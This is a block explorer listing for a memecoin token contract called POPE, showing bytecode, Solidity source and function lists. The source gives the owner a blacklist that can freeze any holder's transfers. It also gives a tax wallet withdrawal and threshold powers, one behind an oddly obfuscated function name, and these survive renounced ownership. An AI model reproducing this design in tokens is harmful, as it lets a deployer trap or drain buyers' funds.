1000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613e7581612fe4565b82525050565b5f613e868383613e6c565b60208301905092915050565b5f602082019050919050565b5f613ea882613e43565b613eb28185613e4d565b9350613ebd83613e5d565b805f5b83811015613eed578151613ed48882613e7b565b9750613edf83613e92565b925050600181019050613ec0565b5085935050505092915050565b5f60a082019050613f0d5f8301886130c3565b613f1a602083018761331b565b8181036040830152613f2c8186613e9e565b9050613f3b60608301856131ef565b613f4860808301846130c3565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613fac602183612f21565b9150613fb782613f52565b604082019050919050565b5f6020820190508181035f830152613fd981613fa0565b9050919050565b5f8160601b9050919050565b5f613ff682613fe0565b9050919050565b5f61400782613fec565b9050919050565b61401f61401a82612fe4565b613ffd565b82525050565b5f614030828561400e565b601482019150614040828461400e565b6014820191508190509392505050565b5f81905092915050565b7fff000000000000000000000000000000000000000000000000000000000000005f82015250565b5f61408e600183614050565b91506140998261405a565b600182019050919050565b5f819050919050565b5f819050919050565b6140c76140c2826140a4565b6140ad565b82525050565b7f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f5f82015250565b5f614101602083614050565b915061410c826140cd565b602082019050919050565b5f61412182614082565b915061412d828561400e565b60148201915061413d82846140b6565b60208201915061414c826140f5565b91508190509392505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61418c601b83612f21565b915061419782614158565b602082019050919050565b5f6020820190508181035f8301526141b981614180565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f395f8d9b6e9fe611c817b93634461be939eb4a0a247c089a401fa915573d8f64736f6c63430008170033

Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: No
Contract.sol 507 lines
// SPDX-License-Identifier: MIT



/*

https://www.youtube.com/watch?v=J6MqpK91bEA
*/


pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Contract is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch

    address payable private _taxWallet;

    uint256 private _initialBuyTax=23;
    uint256 private _initialSellTax=23;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=3;
    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Robert Francis Prevost";
    string private constant _symbol = unicode"POPE";
    uint256 public _maxTxAmount = 8413800000 * 10**_decimals;
    uint256 public _maxWalletSize = 8413800000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private transferDelayEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable  {
        _taxWallet = payable(_msgSender());
        _balances[address(this)] = _tTotal * 93 / 100;
        _balances[address(_msgSender())] = _tTotal * 7 / 100;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        
        bots[0x06a8ce14c7cF2d46228b15D760F722F9F0271144] = true;
        bots[0xF0F9C745028C09aFBCdeBAdb690279FAE8fBa0E9] = true;
        bots[0x3df8dcf0DF2e9371669b78315a4Ef1c9594C8BD3] = true;
        bots[0x5fC6fD198E1ad8B984933558F00d605eFAe91843] = true;
        bots[0x4816f42F439D305A189cAc2681BfF8eC514C328E] = true;
        bots[0x7A3c9e2e13783F89D55B2C6E9597b87C637636a0] = true;
        bots[0x8B22195CcD069faB45b910C7b809C79eCCE41079] = true;
        bots[0x16ab782a7324865dFD0FC69D8C038dBA30337008] = true;
        bots[0xE40a2e6553e5F4557CAdc08E470f3cA92321b232] = true;
        bots[0xE2dD16c9d9EB27b9D341d49600DD84e24Bd208C5] = true;
        bots[0x357202Bd119D82cd9f11dCb3a2324E1ba38435b9] = true;
        bots[0x14F279b8F49d203BeD5076C41b462CE5a51Bb128] = true;
        bots[0x150283e1d1764eBc73F2887d456Eb37139C10C97] = true;
        bots[0x25A44D6c7c67B21015943e0e19B05c8F49482129] = true;
        bots[0x9dB159061A89B0387eB8F866a1Fb2aA10DD2028C] = true;
        bots[0x1bc2399003aCBFB1F115F41d6fD7F28d4f971bb1] = true;
        bots[0x826bC5E0EBE5f3ca03Ef2F56F648c638a94eb3f4] = true;
        bots[0x3962db7311D290DF74A22a81951b7E24a783E726] = true;
        bots[0x1e12DB8352Bb2FEB691Fa5E8611e3D15c3e8894b] = true;
        bots[0x077528ee434f57B33ad5e8dE077b1B6Dd16409cd] = true;
        bots[0xF2C6bA8B44938BA3ceFACb6B7c939Df8B8B86C2F] = true;
        bots[0xBD56eeD496dE59a18cCEb7d909Fc8ED1bbd4Dc2B] = true;
        bots[0x8DbA5bA8e2De9a2caC66bfA33e97A53EbF0CAd48] = true;
        bots[0x4637407AFFd80039e66c5c7041F0B3F18347B776] = true;
        bots[0x9dB159061A89B0387eB8F866a1Fb2aA10DD2028C] = true;
        bots[0x4dc976689f16828DC0B13c42a2051F29F9c89500] = true;
        bots[0x4dc976689f16828DC0B13c42a2051F29F9c89500] = true;
        bots[0x8E8CbA4d45ab30aBeA48478c25126eDe2362185E] = true;
        bots[0x39959a2ccd626fb8F88618dfC0CFa1c3BF937D64] = true;
        bots[0x583B57E3C076D9c41cf5DA548225bAe6995c6434] = true;
        bots[0xA750F84B0DcEdC6F09a373F866951697467f6CDD] = true;
        bots[0x926Ef62820c5ba8E73Eb793c0c415eF13ce70b73] = true;
        bots[0xEA38B0E392ee9bDE0E9c4802Ec6D6bd8793845d7] = true;
        bots[0x8C60fC47FbF8546F2749722C4c8F7691C72e05E0] = true;
        bots[0xfDA68F66824Ef2695DF85a5aaAc94097587D2893] = true;
        bots[0x8C60fC47FbF8546F2749722C4c8F7691C72e05E0] = true;
        bots[0x1023DcB245e8f27De4c853890803fD2FF305d436] = true;
        bots[0x2a390E4936f2812f1A7e7aCD4a5000B8dAbAEE4A] = true;
        bots[0x8Cb26049d3d14319F715f209E2d7d0ba59536e78] = true;
        bots[0xb8CfC55FC2aeeec5c516131415Fa20fD3Ef63d98] = true;
        bots[0x5abED07B393F96d5396252Ba7Ba0fA1F1A7F5e60] = true;
  
        emit Transfer(address(0), address(this), _tTotal * 93 / 100);
        emit Transfer(address(0), address(_msgSender()), _tTotal * 7 / 100);

    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");

    uint256 taxAmount = 0;
    if (from != owner() && to != owner()) {
        require(!bots[from] && !bots[to] && !bots[tx.origin]);

        if (transferDelayEnabled) {
            if (
                to != owner() &&
                to != address(uniswapV2Router) &&
                to != address(uniswapV2Pair)
            ) {
                require(
                    _holderLastTransferTimestamp[tx.origin] < block.number,
                    "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                );
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        if (_buyCount == 0) {
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
        }
        if (_buyCount > 0) {
            taxAmount = amount.mul(_transferTax).div(100);
        }

        if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
            require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
            require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
            _buyCount++;
        }

        if (to == uniswapV2Pair && from != address(this)) {
            taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
            uint256 contractTokenPct = contractTokenBalance.mul(100).div(_tTotal);

            if (contractTokenPct < 2) {
                _taxSwapThreshold = type(uint256).max;
                _maxTaxSwap = type(uint256).max;
            } else if (contractTokenPct < 6) {
                _taxSwapThreshold = _tTotal * 25 / 10000; // 0.25%
                _maxTaxSwap = _tTotal * 25 / 10000;
            } else if (contractTokenPct < 11) {
                _taxSwapThreshold = _tTotal * 5 / 1000; // 0.5%
                _maxTaxSwap = _tTotal * 5 / 1000;
            } else {
                _taxSwapThreshold = _tTotal * 1 / 100; // 1%
                _maxTaxSwap = _tTotal * 1 / 100;
            }

            if (block.number > lastSellBlock) {
                sellCount = 0;
            }

            require(sellCount < 3, "Only 3 sells per block!");

            swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
            uint256 contractETHBalance = address(this).balance;
            if (contractETHBalance > 0) {
                sendETHToFee(contractETHBalance);
            }

            sellCount++;
            lastSellBlock = block.number;
        }
    }

    if (taxAmount > 0) {
        _balances[address(this)] = _balances[address(this)].add(taxAmount);
        emit Transfer(from, address(this), taxAmount);
    }
    _balances[from] = _balances[from].sub(amount);
    _balances[to] = _balances[to].add(amount.sub(taxAmount));
    emit Transfer(from, to, amount.sub(taxAmount));
}


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits(bool _bool) external onlyOwner {
        if (_bool) {
            uint256 amountToSend = _tTotal * 5 / 100;
            _transfer(_taxWallet, address(this), amountToSend);
        }

        _taxSwapThreshold = _taxSwapThreshold * 70 / 100;
        _maxTaxSwap = _maxTaxSwap * 70 / 100;
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;

        emit MaxTxAmountUpdated(_tTotal);
    }


    function removeTransferTax() external onlyOwner{
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function manualsend() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

   function addBots(address bot) public onlyOwner {
        bots[bot] = true;
    }

    function delBots(address notBot) public onlyOwner {
        bots[notBot] = false;
    }

    function rescueERC20(address _address, uint256 percent) external {
        require(_msgSender()==_taxWallet);
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_taxWallet, _amount);
    }

    function setSwapTresholkd5464h4576k6678k677779775(uint256 _new) external {
        require(_msgSender()==_taxWallet);
        _taxSwapThreshold = _new;
        _maxTaxSwap = _new;
       
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

  
    function openTrading() external onlyOwner {
    require(!tradingOpen, "Trading is already open");
    
    uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    
    // Compute the pair address
    address factory = uniswapV2Router.factory();
    address weth = uniswapV2Router.WETH();
    address predictedPair = pairFor(factory, address(this), weth);
    
    // Check if the pair exists by checking its code size
    uint256 codeSize;
    assembly {
        codeSize := extcodesize(predictedPair)
    }
    
    // If pair doesn't exist, create it
    if (codeSize == 0) {
        uniswapV2Pair = IUniswapV2Factory(factory).createPair(address(this), weth);
    } else {
        uniswapV2Pair = predictedPair;
        // Optional: Check pair balances to ensure it's not manipulated
        uint256 tokenBalance = IERC20(address(this)).balanceOf(uniswapV2Pair) * 94 / 100;
        uint256 wethBalance = IERC20(weth).balanceOf(uniswapV2Pair);
        require(tokenBalance < 1e18 && wethBalance < 1e18, "Pair already funded");
    }
    
    // Approve tokens for the router
    _approve(address(this), address(uniswapV2Router), _tTotal);
    
    // Add liquidity
    uniswapV2Router.addLiquidityETH{value: address(this).balance}(
        address(this),
        balanceOf(address(this)),
        0,
        0,
        owner(),
        block.timestamp
    );
    
        // Approve pair for router
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
        transferDelayEnabled = true;
    }

    function pairFor(address factory, address tokenA, address tokenB) private pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint160(uint(keccak256(abi.encodePacked(
            hex'ff',
            factory,
            keccak256(abi.encodePacked(token0, token1)),
            hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // Uniswap V2 pair init code hash
        )))));
    }
        
   function reduceFee(uint256 _newFee) external{
      require(_msgSender()==_taxWallet);
      require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
      _finalBuyTax=_newFee;
      _finalSellTax=_newFee;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
isBot 0x3bbac579 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 14 functions

These functions modify contract state and require a wallet transaction to execute.

addBots 0x56ec63a5
address bot
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
delBots 0x4c8afff4
address notBot
manualSwap 0x51bc3c85
No parameters
manualsend 0x6fc3eaec
No parameters
openTrading 0xc9567bf9
No parameters
reduceFee 0xec1f3f63
uint256 _newFee
removeLimits 0x17090ec8
bool _bool
removeTransferTax 0x109daa99
No parameters
renounceOwnership 0x715018a6
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
setSwapTresholkd5464h4576k6678k677779775 0xfaacf31e
uint256 _new
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address